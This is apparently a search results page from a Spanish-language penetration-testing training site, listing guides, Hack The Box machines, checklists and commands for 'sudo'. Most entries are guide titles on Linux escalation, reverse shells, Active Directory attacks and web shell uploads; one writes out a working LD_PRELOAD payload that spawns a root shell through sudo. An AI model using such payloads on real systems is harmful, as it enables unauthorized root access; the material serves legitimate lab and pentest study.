Buscar en todo
173 resultados para «sudo»
Apartados de las guías 9
- sudo -l Escalada en Linux: sudo, SUID y capabilities
- LD_PRELOAD Escalada en Linux: sudo, SUID y capabilities
- (ALL, !root) Escalada en Linux: sudo, SUID y capabilities
- Capabilities Escalada en Linux: sudo, SUID y capabilities
- Binarios SUID Escalada en Linux: sudo, SUID y capabilities
- Un script propio Escalada en Linux: sudo, SUID y capabilities
- SUID hecho a medida Escalada en Linux: sudo, SUID y capabilities
- Un binario conocido Escalada en Linux: sudo, SUID y capabilities
- Si nada de esto funciona Escalada en Linux: sudo, SUID y capabilities
Técnicas 1
Técnicas de MITRE ATT&CK 3
Guías 14
- Escalada en Linux: sudo, SUID y capabilities Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.
- Reverse shell que no conecta o se cierra: cómo arreglarla Por qué una reverse shell no llega, se corta al momento o muere con Ctrl+C, cómo diagnosticarlo paso a paso y cómo dejarla como una terminal completa en Linux y Windows.
- Exploits de kernel en Linux: PwnKit, Dirty Pipe y OverlayFS Cuándo tiene sentido un exploit de kernel, cómo sacar la versión exacta, qué exploits funcionan en cada rango (PwnKit, Dirty Pipe, Baron Samedit, OverlayFS) y cómo compilarlos.
- Escapar de un contenedor Docker: docker.sock y modo privilegiado Cómo saber si estás dentro de un contenedor, qué revisar y cómo salir al anfitrión con docker.sock, --privileged, discos montados, capabilities o un Docker vulnerable.
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
- Enumeración de Active Directory: usuarios, LDAP, BloodHound y password spraying Qué hacer al encontrar un controlador de dominio: enumerar sin credenciales, conseguir usuarios válidos, password spraying sin bloqueos y BloodHound.
- Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.
- Inyección de comandos (OS command injection): detección, blind y bypass de filtros Cómo encontrar una inyección de comandos en Linux y Windows, confirmarla a ciegas (tiempo, DNS, HTTP) y saltarse los filtros de espacios y palabras.
- Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
- Enumeración SMB y NFS: recursos compartidos, sesión nula y ficheros con contraseñas Enumerar SMB y NFS con NetExec, smbclient, smbmap y enum4linux-ng, con y sin credenciales: sesión nula, ficheros con contraseñas y no_root_squash.
- Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
Herramientas 1
Recursos y herramientas 2
- Binarios Linux explotables Cómo sacar una shell, leer o escribir ficheros con binarios comunes cuando puedes usarlos con sudo, tienen SUID o capabilities.
- Escalada de privilegios en Linux Lista de comprobación con comandos para pasar a root - sudo, SUID, capabilities, cron, servicios internos, credenciales, grupos, PATH, librerías y kernel.
Máquinas 61
- Dog Hack The Box · linux · easy
- Sau Hack The Box · linux · easy
- Meta Hack The Box · linux · medium
- Seal Hack The Box · linux · medium
- Agile Hack The Box · linux · medium
- Facts Hack The Box · linux · easy
- Forge Hack The Box · linux · medium
- Mirai Hack The Box · linux · easy
- PermX Hack The Box · linux · easy
- Usage Hack The Box · linux · easy
- Bitlab Hack The Box · linux · medium
- Blocky Hack The Box · linux · easy
Rutas de aprendizaje 1
Checklists 3
- Active Directory Metodología para un dominio de Windows: enumeración sin credenciales, primer usuario, BloodHound, Kerberos, ADCS, ACLs, delegación y hasta Domain Admin.
- Post-explotación y escalada Qué hacer en cuanto tienes una shell: estabilizarla, enumerar el sistema, escalar en Linux o Windows, buscar credenciales y pivotar a la red interna.
- Reconocimiento y enumeración Lo que hay que comprobar al empezar cualquier máquina: puertos TCP y UDP, versiones, cada servicio y la superficie web, antes de lanzar un solo exploit.
Comandos 78
-
Qué puedo ejecutar con sudo
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
sudo -l -
LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
Escalada de privilegios en Linux › Explotación › Secuestro de librerías
cat > /tmp/x.c << 'FIN' #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); } FIN gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c sudo LD_PRELOAD=/tmp/x.so programa_permitido -
Versión de sudo (CVE-2021-3156, Baron Samedit)
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
sudo -V | head -1 - cp Binarios Linux explotables › lectura, escritura
- dd Binarios Linux explotables › lectura, escritura
- awk Binarios Linux explotables › shell, sudo, lectura
- env Binarios Linux explotables › shell, sudo, suid
- ftp Binarios Linux explotables › sudo
- gdb Binarios Linux explotables › shell, sudo, cap
- git Binarios Linux explotables › sudo
- lua Binarios Linux explotables › shell, sudo
- man Binarios Linux explotables › sudo